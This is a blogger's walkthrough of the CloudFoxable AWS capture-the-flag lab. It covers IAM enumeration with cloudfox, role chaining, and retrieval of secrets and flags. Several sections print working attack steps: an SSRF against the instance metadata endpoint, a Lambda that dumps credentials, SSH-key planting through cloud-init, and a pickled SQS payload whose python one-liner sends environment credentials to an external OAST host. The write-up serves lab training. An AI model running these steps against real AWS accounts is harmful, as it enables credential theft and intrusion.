Tanishq Rupaal

Cybersecurity Professional

Cloudfoxable

Posted Jun 25, 2023 • Updated Jun 26, 2023

By Tanishq Rupaal

22 min read

Checkout the challenges over at GitHub.

Setup & First Flag

My initial setup starts with getting into my containerized security toolkit. From there, set up a sandbox account in the default organization (`security-testing`) with access keys of a user with admin privileges. Then, the following in serial order →

Shell

```
awsn sts get-caller-identity # check user access keys
cd /persist
git clone https://github.com/BishopFox/cloudfoxable && cd cloudfoxable
cp terraform.tfvars.example terraform.tfvars # basic setup from cloudfoxable instructions

# setup
terraform init
terraform apply
```

That gives `terraform` 's output with a command to set up a starting user and the first flag in step 3. The command that needs to be executed is the following →

Shell

```
echo "" >> ~/.aws/credentials && echo "[cloudfoxable]" >> ~/.aws/credentials && echo
"aws_access_key_id = `terraform output -raw CTF_Start_User_Access_Key_Id`" >> ~/.aws/credentials
&& echo "aws_secret_access_key = `terraform output -raw CTF_Start_User_Secret_Access_Key`" >>
~/.aws/credentials && echo "region = us-west-2" >> ~/.aws/credentials
```

No flags are printed in the walkthrough since the correct value can be checked from the `main.tf` file with the following →

Shell

```
grep -hiroE "FLAG\{[^\{\}]+?\}" . | sort -u
```

> Any `aws` command used as `awsn` is aliased to `aws --no-cli-pager` .

It's a secret

With `cloudfox` , the following commands solve the challenge →

Shell

```
cloudfox aws secrets -p cloudfoxable # lists where it stored analysis and loot
bat ~/.cloudfox/cloudfox-output/aws/<ACCID>-cloudfoxable/table/secrets.txt # list accessible
secrets
bat ~/.cloudfox/cloudfox-output/aws/<ACCID>-cloudfoxable/loot/pull-secrets-commands.txt # list
commands
awsn --profile cloudfoxable --region us-west-2 ssm get-parameter --with-decryption --name
/cloudfox/flag/its-a-secret
```

Without `cloudfox` , generic analysis can be done as follows →

Shell

Tanishq Rupaal

Cybersecurity Professional


```
cloudfoxable
awsn iam get-policy-version --version-id v1 --policy-arn "arn:aws:iam::<ACCID>:policy/its-a-secret-policy" --profile cloudfoxable
awsn --region us-west-2 ssm get-parameter --with-decryption --name /cloudfox/flag/its-a-secret --profile cloudfoxable
```

It's another secret

The challenge asks us to assume the role `Ertz`, which can be setup with the following command →

</> Shell

```
cat <<EOF >> ~/.aws/config
[profile ertz]
region = us-west-2
role_arn = arn:aws:iam::<ACCID>:role/Ertz
source_profile = cloudfoxable
EOF
```

The `ctf-starting-user` had the *SecurityAudit* policy attached, so it can be used for analysis. That provides insight that `Ertz` would be able to retrieve the SSM parameter in concern to get the flag →

</> Shell

```
awsn iam list-attached-role-policies --role-name Ertz --profile cloudfoxable
awsn iam get-policy --policy-arn "arn:aws:iam::<ACCID>:policy/its-another-secret-policy" --profile cloudfoxable
awsn iam get-policy-version --version-id v1 --policy-arn "arn:aws:iam::<ACCID>:policy/its-another-secret-policy" --profile cloudfoxable
awsn --region us-west-2 ssm get-parameter --with-decryption --name /cloudfox/flag/its-another-secret --profile ertz
```

Backwards

This challenge requires us to know that the ARN of interest is `arn:aws:secretsmanager:us-west-2:<ACCID>:secret:DomainAdministratorCredentials-SUFFIX`.

With `cloudfox`, the problem is super simple! First, the following gives the secrets available in the environment and the respective commands to retrieve them →

</> Shell

```
cloudfox aws secrets -v3 -p cloudfoxable
```

The one that's of concern here is related to the ARN the challenge is all about. With that command in hand, the next step is to figure out who has the permissions to retrieve that secret →

</> Shell

```
cloudfox aws permissions -v2 -p cloudfoxable | grep secret
```

This tells us that the role `Alexander-Arnold` has the permissions to retrieve the secret we're interested in. Finding who can assume this principal is also simple with the following →

</> Shell

```
cloudfox aws role-trusts -v2 -p cloudfoxable
```

This shows that the `ctf-starting-user` has the permissions to assume `Alexander-Arnold`. Next, setting up a profile for this and assuming the role will allow listing the secret as follows →

</> Shell

Tanishq Rupaal

Cybersecurity Professional


```
region = us-west-2
role_arn = arn:aws:iam::<ACCID>:role/Alexander-Arnold
source_profile = cloudfoxable
EOF

awsn secretsmanager get-secret-value --secret-id DomainAdministratorCredentials --region us-
west-2 --profile arnold
```

Without `cloudfox`, what's happening in the background is something that can be explored manually with a little more effort. This is a good point to begin with gaad-analysis →

Shell

```
awsn iam get-account-authorization-details --profile cloudfoxable > cloudfoxable-gaad.json
```

This IAM dump contains everything in an AWS environment except for resource-based policies and SCPs and is a great analysis tool. The approach is slightly different here - unlike with `cloudfox`, it makes more sense to go in the opposite direction. Of course, that means a ton of manual evaluation (hence tooling helps), but the evaluation experience is worth it to some extent. So, we start by listing all principals (roles) that `ctf-starting-user` can assume, then manually check the permissions for each to find something interesting, and then check the policies to verify who can interact with the resource we're interested in. Of course, even the first step involves looking at whether a role explicitly trusts our principal, or if our principal has assume-role permissions and the role trusts the account root. But all that is abstracted from the following commands →

Shell

```
cat cloudfoxable.json | jq '.RoleDetailList[] |
select(.AssumeRolePolicyDocument.Statement[].Principal=={"AWS":"arn:aws:iam::<ACCID>:user/ctf-
starting-user"})'
# this gives info on the roles and their attached policies, checking which shows Arnold with the
appropriate policy
cat cloudfoxable.json | jq '.Policies[] | select(.PolicyName=="corporate-domain-admin-password-
policy")'
# shows that retrieving the secret is allowed
```

Then the steps are the same as with `cloudfox`.

Needles

This challenge gives the role `ramos` as the starting point i.e., it can be assumed by `ctf-starting-user`.

This challenge is straightforward where the task is to evaluate the permissions of the `ramos` role. First, the role is set up like before and the permissions are checked via the gaad as follows →

Shell

```
cat cloudfoxable.json | jq '.RoleDetailList[] | select(.RoleName=="arn:aws:iam::
<ACCID>:role/ramos")'
# shows a couple read only policies
```

The most sensitive read-only policy out of the three seems related to CloudFormation because that's where secrets could potentially lie. So, by listing out the stacks and the template of the available stacks, the next flag is obtained. The steps are as follows →

Shell

```
aws cloudformation describe-stacks --profile ramos --region us-west-2
aws cloudformation get-template --stack-name cloudformationStack --profile ramos --region us-
west-2
```

Root

This challenge uses the starting point as the role `Kent`, which needs to get the `root` flag in the SSM parameter store.

Now, no more differentiation between non- `cloudfox` and `cloudfox` -based methods. Let's combine. Also, instead of

Tanishq Rupaal

Cybersecurity Professional

policy `root-policy1` which allows it to `sts:AssumeRole` on `*`.

Permissions can also be checked via `cloudfox` using the following instead of relying on gaad-analysis &rarr

Shell

```
cloudfox aws permissions --principal Kent -p cloudfoxable -v2
```

Next, get secrets and their respective AWS commands with `cloudfox` to keep an eye on the `root` parameter. With that in hand, search using `cloudfox` to get who can perform `ssm:GetParameter` &rarr

Shell

```
cloudfox aws permissions -p cloudfoxable -v2 | grep "ssm:GetParameter"
```

This shows that role `Lasso` can get the `root` parameter via permissions in the `important-policy`. Also, `Lasso`'s trust policy establishes trust in the role `Beard`. Checking the details of `Beard`, it trusts the account root. This means all principals that have an assume-role permission can assume `Beard` i.e., `Kent` fits the bill. So, adding `Beard` as another role obtained via `Kent` and `Lasso` as one assumed via `Beard`, `Lasso` can be used to list the parameter and get the flag.

Furls 1 & 2

This challenge starts with the `ctf-starting-user` and requires finding the Lambda function URL for the `furls1` function and then the flag. Then, for the next phase, no other information except that we are after a Lambda function.

`cloudfox` allows searching for numerous endpoints for App Runner, API Gateway, Cloudfront, EKS, ELB, Lambda, RDS, Redshift, and a couple more. With the interest in Lambda function URLs, it's easy to enumerate all interesting endpoints with the following &rarr

Shell

```
cloudfox aws endpoints -p cloudfoxable -v2
```

This gives the function URL for `furls1`, which can be called with `cURL` to retrieve the flag.

The result from the previous command lists out another function URL (and that's the only one), so trying `cURL` on the `auth-me` function, it prompts to send a GET request with a username and password as parameters. Trying to list out the function in question shows the username and password variables within the environment. That can be sent via `cURL` &rarr

Shell

```
awsn lambda list-functions --profile cloudfoxable --region us-west-2 | jq '.Functions[] |
selectt(.FunctionName=="auth-me")' # get variables from environment
curl "https://xxxxxx.lambda-url.us-west-2.on.aws/?username=admin&password=NotSummer2023"
```

This gives an incomplete flag in the body of the HTML received, with the placeholder there being the name of the principal that can also read the environment variables of username and password aside from the `ctf-starting-user`. This can be done by `cloudfox` with the following &rarr

Shell

```
cloudfox aws permissions -p cloudfoxable -v2 | grep "lambda:ListFunctions"
```

This gives the role of interest as `mewis`, substituting which in the placeholder provides the correct flag.

The topic is exposure

This challenge starts with `ctf-starting-user` and requires checking out public resources. This is also a good time to run the `all-chekcs` subcommand for `cloudfox` to cache all the checks for fast analysis. Looking through all available subcommands, `resource-trusts` can be used to check the permissions granted over specific resources.

Shell

```
cloudfox aws resource-trusts -c -p cloudfoxable -v2
```

Tanishq Rupaal

Cybersecurity Professional

control added in the Cloudfoxable labs. Checking results from →

Shell

```
cloudfox aws sns -c -p cloudfoxable -v2
```

and reading the loot, the SNS topic can be subscribed to as follows →

Shell

```
awsn --region us-west-2 sns subscribe --topic-arn arn:aws:sns:us-west-2:<ACCID>:eventbridge-sns
--protocol http --notification-endpoint http://xxxxx.oast.fun --profile attacker
```

A public interact.sh server can be used to retrieve the topic notification. With the subscription active, it can be confirmed with the resulting token on the OAST server in a request as follows →

Shell

```
awsn --region us-west-2 sns confirm-subscription --token "<fromrequest>" --topic-arn
arn:aws:sns:us-west-2:<ACCID>:eventbridge-sns --profile attacker
```

After this, the lab will automatically send a publish message with sensitive information every 1 minute through Eventbridge schedules. This message is received on the OAST server and also gives the flag.

Search 1 & 2

These challenges start with the `ctf-starting-user` and requires searching for an Elasticsearch domain and find a flag there. Next, it requires searching further within the ES domain to pivot beyond the Cloudfoxable environment.

To start off, the easiest way to search for the exposed ES domain is via `cloudfox` →

Shell

```
cloudfox aws endpoints -p cloudfoxable -v2
```

Then using `cURL`, visit the domain and listing the indices and then visit each index, in this case *webserver-logs* provided what is necessary →

Shell

```
curl -X GET "https://search-pat-xxxxxx.us-west-2.es.amazonaws.com/_cat/indices?v"
curl -X GET "https://search-pat-xxxxxx.us-west-2.es.amazonaws.com/webserver-
logs/_search?pretty=true"
```

This gives the first flag and also has a base64 encoded token, decoding which gives a GitHub personal access token. This can be used to login to github, search for repositories and clone a repository as follows →

Shell

```
echo $githubtoken | gh auth login --with-token
gh auth status
gh repo list
gh repo clone cloudfoxable/super-secret-ML-stuff # login with un: cloudfoxable and pw as the PAT
cd super-secret-ML-stuff && cat main.go
```

The `main.go` file contained the second flag.

Bastion

This challenge starts with the `ctf-starting-user` and sets the stage for SSM operations. It spins up an instance that can be connected to by `ctf-starting-user`. To get the details on the instance, the following helps →

Shell

```
cloudfox aws instances -p cloudfoxable -v2
```

Tanishq Rupaal

Cybersecurity Professional

Shell

```
awsn --region us-west-2 ssm start-session --target i-xxxxx --profile cloudfoxable
```

Checking the STS credentials on the instance, it's found that role `reyna` is granted to the instance. Using `cloudfox` to determine the permissions as follows →

Shell

```
cloudfox aws permissions --principal reyna -p cloudfoxable -v2
```

This shows that `reyna` had permissions to list and get objects from the `cloudfoxable-bastion-xxxx` bucket, with the flag contained within.

Variable

This challenge requires starting from the bastion host and pivoting inside the network. `cloudfox` can help retrieve information about the network with the following →

Shell

```
cloudfox aws elastic-network-interfaces -p cloudfoxable -v2
```

This lists several ENIs, with one being an RDS network interface. It is also in the same VPC as the bastion host, which means it's likely reachable internally. This can be further confirmed by looking up security groups, but it's worth just naively trying to connect.

The next thing needed is to get information about the database and search for credentials to connect. The network interfaces also list some related to Lambda functions with the name `...rds-sql-executor...`, so looking at Lambda functions might give a clue about the credentials. `cloudfox` can help by looking at environment variables of Lambda functions in the following way →

Shell

```
cloudfox aws databases -p cloudfoxable -v2 # gives the DNS endpoint for the RDS instance
cloudfox aws env-vars -p cloudfoxable -v2
```

This lists the RDS host, database name, password and username. Using those to connect to the RDS instance as follows →

Shell

```
mysql -u admin -h cloudfox-rds-xxxx.xxxxx.us-west-2.rds.amazonaws.com -D cloudfoxxxxx -p # enter passwords
> show tables; # lists `credit_cards`
> select * from credit_cards;
```

That gives the flag.

Trust Me

This challenge requires setting up a GitHub repo that is trusted by "something" in the environment. The challenge asks to find a role that trusts this repo and use that role to get a flag. Roles can be listed with `cloudfox` and trusts between them can also be listed as follows →

Shell

```
cloudfoxable aws principals -p cloudfoxable -v2
cloudfoxable aws role-trusts -p cloudfoxable -v2
```

Role trusts lists role `t_rodman` with trust established for the repo we created. Looking at `t_rodman` via gaad-analysis →

Shell

Tanishq Rupaal

Cybersecurity Professional


```
3  cat cloudfoxable-gaad.json | jq '.Policies[] | select(.PolicyName=="trust-me")'
```

This shows that a GitHub Action can be used to authenticate as `t_rodman` via `sts:AssumeRoleWithWebIdentity` from the repo in concern. Also, the role can get SSM parameters `trust-*`. With a little googling, this can be done via an action published by AWS. In the repo, a workflow can be set up as follows →

</> YAML

```yaml
name: cloudfoxableattack
on:
  push:
    branches: [ main ]
permissions:
  id-token: write
  contents: read
jobs:
  AssumeRole:
    runs-on: ubuntu-latest
    steps:
      - name: clone repo
        uses: actions/checkout@v3
      - name: set creds
        uses: aws-actions/configure-aws-credentials@v2
        with:
          role-to-assume: arn:aws:iam::<ACCID>:role/t_rodman
          aws-region: us-west-2
      - name: perform action
        run: |
          aws --region us-west-2 ssm get-parameter --with-decryption --name trust-me
```

Committing this to the repo runs the actions and the parameter value can be see in the Action logs, which is also the flag.

Wyatt

This challenge starts with the bastion host from previous challenges, to provide an internal foothold. It needs us to scan for services in the VPC and figure out next steps to get a flag.

To start, it's best to scan for network-related items, ENIs, and instances (given we're in a network). That gives an idea about the roles granted to the instances, so those roles can analyzed for permissions, which provides further hints into the type of services to look into. The following commands helped narrow down to objects of interest →

</> Shell

```
cloudfox aws elastic-network-interfaces -p cloudfoxable -v2 # instances are of primary interest
cloudfox aws network-ports -p cloudfoxable -v2 # shows open ports based on SGs for instances (IPs)
cloudfox aws instances -p cloudfoxable -v2 # shows the instances and associated roles (get role/wyatt)
cloudfox aws permissions --principal wyatt -p cloudfoxable -v2 # check permissions of wyatt
```

This shows that role `wyatt` had access to perform some operations on DynamoDB table `wyatt-table`. The instance in concern has a public and private IP, but visiting the service via the bastion to keep it internal →

</> Shell

```
nmap -Pn -p 12380 <PrivateIP> # potentially looks like a webserver
curl http://<PrivateIP>:12380 # gives a classic SSRF application that takes in a URL and visits it
```

So, passing in the URL for IMDSv1 to get the credentials of `wyatt` as →

</> Shell

```
curl http://<PrivateIP>:12380?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/wyatt
```

This gave the credentials for `wyatt` using which a scan operation could be performed on the `wyatt-table` table as follows to get the flag →

Tanishq Rupaal

Cybersecurity Professional


```
awsn dynamodb scan --table-name wyatt-table --region us-west-2 --profile wyatt
```

Double Tap

This challenge requires starting at `ctf-starting-user` and getting to a secret `DT_Flag`. The following `cloudfox` commands help narrow down analysis and search →

</> Shell

```
cloudfox aws principals -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_asdf -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_esdf -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_qsdf -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_secret -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_xsdf -p cloudfoxable -v2
cloudfox aws permissions --principal double_tap_zsdf -p cloudfoxable -v2
cloudfox aws permissions --principal lambda_ec2 -p cloudfoxable -v2
awsn ec2 describe-instances --region us-west-2 --profile cloudfoxable | jq
'.Reservations[].Instances[] | select(.Tags[].Key=="double_tap1") | .InstanceId'
cloudfox aws instances -p cloudfoxable -v2
cloudfox aws role-trusts -p cloudfoxable -v2
cloudfox aws permissions --principal ec2_privileged -p cloudfoxable -v2
cat cloudfoxable-gaad.json | jq '.Policies[] | select(.PolicyName=="ec2_privileged_policy")'
awsn ec2 describe-instances --region us-west-2 --profile cloudfoxable | jq
'.Reservations[].Instances[] | select(.Tags[].Key=="double_tap2") | .InstanceId'
```

This analysis gives the following potential attack path →

- `ctf-starting-user` can assume role `double_tap_xsdf`
- `double_tap_xsdf` can create and invoke Lambda functions and pass `lambda_*` roles
- Role `lambda_ec2` has full EC2 access if the resource has tag `double_tap1` equal to `true`, which was true for an instance that had the `ec2_privileged` role attached to it
- `ec2_privileged` role can perform `ssm:SendCommand` and `ssm:StartSession` as long as the resource has the `double_tap2` tag equal to `true`, which was true for the instance that had the `double_tap_secret` role attached
- `double_tap_secret` role could read the secret in concern

A Lambda function can be deployed with the following code →

</> Python

```
import os

def lambda_handler(event, context):
    return dict(os.environ)
```

Commands to execute for the Lambda attack are as follows →

</> Shell

```
zip lambda_function.zip lambda_function.py
# deploy function
awsn lambda create-function --function-name attackfunction --runtime python3.8 --role
arn:aws:iam::<ACCID>:role/lambda_ec2 --handler lambda_function.lambda_handler --zip-file
fileb://lambda_function.zip --profile double_tap_xsdf
# invoke function
awsn lambda invoke --function-name attackfunction --profile double_tap_xsdf outputfile
# get credentials
cat outputfile | jq
```

With these credentials, access to the instance that has the `ec2_privileged` role is needed. The instance has an open port 22, but it needs an SSH key. User data does not run after starting a stopped instance unless it is used as a `cloud-init` script, which can be defined as the following →

</> YAML

Tanishq Rupaal

Cybersecurity Professional


```
  - [users-groups,always]
users:
  - name: ec2-user
    ssh-authorized-keys:
      - ssh-ed25519 keydatakeydatakeydatakeydatakeydatakeydata user@host
```

The key used can be generated as →

</> Shell

```
ssh-keygen -t ed25519 -b 2048 # save as ec2_key
```

The YAML content can be stored in a file `userdatanormal.txt` and then converted to base64 with →

</> Shell

```
base64 userdatanormal.txt > userdataencoded.txt
```

Then, the following can be used to deploy a key using the session of `lambda_ec2` →

</> Shell

```
awsn ec2 stop-instances --instance-id i-0hshshshshhshs --region us-west-2 --profile lambda_ec2
awsn ec2 modify-instance-attribute --instance-id i-0hshshshshhshs --attribute userData --value
file:userdataencoded.txt --region us-west-2 --profile lambda_ec2
awsn ec2 start-instances --instance-id i-0hshshshshhshs --region us-west-2 --profile lambda_ec2
```

This instates the key into the instance and allows SSH-ing into the instance associated with the `ec2_privileged` role, which allows us to start an SSM session with the other instance with the `double_tap2` tag and associated role `double_tap_secret` to read the secret flag →

</> Shell

```
awsn ssm start-session --target i-06eeb27aff191127a --region us-west-2 --profile ec2_privileged
aws --region us-west-2 secretsmanager get-secret-value --secret-id DT_flag # from the instance
```

That solves the challenge with the caveat that an `ec2-instance-connect:sendSSHKey` permission was required to be added.

The topic is execution

This challenge starts with the role `viniciusjr` and requires us to access `executioner` flag in the SSM parameter store. The `cloudfox` analysis to help with this is as follows →

</> Shell

```
cloudfox aws permissions --principal viniciusjr -p cloudfoxable -v2
cloudfox aws sns -p cloudfoxable -v2
```

`viniciusjr` has SNS read-only access. Listing out the SNS topic in the account, the `executioner` topic allows anyone to publish or subscribe to it via the resource policy as long as they're in the same account. With the current permissions, it's hard to establish a direct link between the topic and its Lambda trigger, but that's generally common and we also have a Lambda function with the same name already.

> ***Solution Caveat*** → The challenge does not grant any role the ability to view Lambda execution logs to get a sense of what is being executed. Hence, it's easier to look at the logs using a privileged role instead. This can also be fixed by adding a policy attachment to allow viewing of the CloudWatch Logs.

Therefore, sending a message to the topic executes ***a*** Lambda function, the logs of which can be seen in CloudWatch. Therefore, invoking the following →

</> Shell

Tanishq Rupaal

Cybersecurity Professional

This prints out the environment variables in the logs, which can be used to obtain the permissions of role `ream`, which can decrypt the SSM parameter in concern. That can be done like so, which gives the flag →

Shell

```
awsn ssm get-parameter --with-decryption --name /cloudfoxable/flag/executioner --region us-west-2
--profile ream
```

That solves the challenge with the caveat that additional permissions were required to view the CloudWatch logs pertaining to Lambda execution.

Middle

This challenge starts with the role `pepi` and requires us to exploit misconfigurations to get to a flag.

> ***Solution Caveat*** → The challenge has a command execution `python` line commented in the `consumer` Lambda function. I had to uncomment that line to make the function exploitable. I didn't find any other means to modify the Lambda function in concern (in case it was meant to be this). So, I uncommented that line and then deployed the infrastructure with Terraform.

The following analysis was done to get some information about the attack path →

Shell

```
cloudfox aws permissions --principal pepi -p cloudfoxable -v2
cloudfox aws lambdas -p cloudfoxable -v2
awsn lambda get-function --function-name producer --profile pepi --region us-west-2 # gives
download location of code
awsn lambda list-event-source-mappings --profile cloudfoxable --region us-west-2
cloudfox aws resource-trusts -p cloudfoxable -v2
cloudfox aws sqs -p cloudfoxable -v2
cloudfox aws env-vars -p cloudfoxable -v2
cloudfox aws permissions --principal swanson -p cloudfoxable -v2
```

The following information is collected →

- `pepi` can get information about the `producer` Lambda function, which has a code with a specific format that sends messages to an SQS queue `internal_message_bus`
- The `internal_message_bus` is used as a source mapping for the `consumer` Lambda function i.e., safe to say that a command send by the `producer` Lambda is stored in the `internal_message_bus` queue, which is dequeued by `consumer` Lambda and executed
- The `consumer` Lambda execution role is `swanson`, which has the permissions to read the `lambda-sqs` SSM parameter
- The `internal_message_bus` queue is a public queue that allow anyone to send and receive messages

The code retrieved from `producer` Lambda can be used to create a payload, with the modification looking like →

Python

```python
import pickle
import json
import base64

command = input()
pickled_command = pickle.dumps(command)
encoded_pickled_command = base64.b64encode(pickled_command).decode('utf-8')
payload = {'command': encoded_pickled_command}
print(json.dumps(payload))
```

The command to execute would be something like `printenv` which will be process by the above code to give a dumped JSON, which can be passed to the queue as follows →

Shell

Tanishq Rupaal

Cybersecurity Professional


```
us-west-2 --profile cloudfoxable
```

Let the command be →

Shell

```
python -c 'import http.client; conn = http.client.HTTPConnection("<oast-server>"); import os;
import base64; import json; data =
json.dumps({"content":base64.b64encode(str(os.environ).encode()).decode("utf-8")}); headers =
{"Content-type":"application/json"}; conn.request("POST","",data,headers);'
```

This can be generated into a payload and sent to the SQS queue, which in turn will send the base64 encoded version of the OS environment variables to the OAST server. These variables show the AWS environment variables related to `swanson` 's session in the Lambda execution logs, which can be used to read the SSM parameter `/cloudfoxable/flag/lambda-sqs` which gives the flag.

This solves the challenge with the caveat that the `consumer` function code needed to be modified to allow for the execution of payloads.

Further Reading

May 13, 2023

flAWS 2 - Attacker

Level 1 The problem statement is to enter a correct pin code on a website…

aws lab

Mar 31, 2022

flAWS 1

Level 1 This level is buckets of fun. See if you can find the first sub-domain.…

Apr 28, 2022

Pentester Academy AWS IAM Attack Lab

Enumeration To get information about current caller → awsn sts get-identity…

Share:

OLDER

Tube Archivist in Home Lab

NEWER

-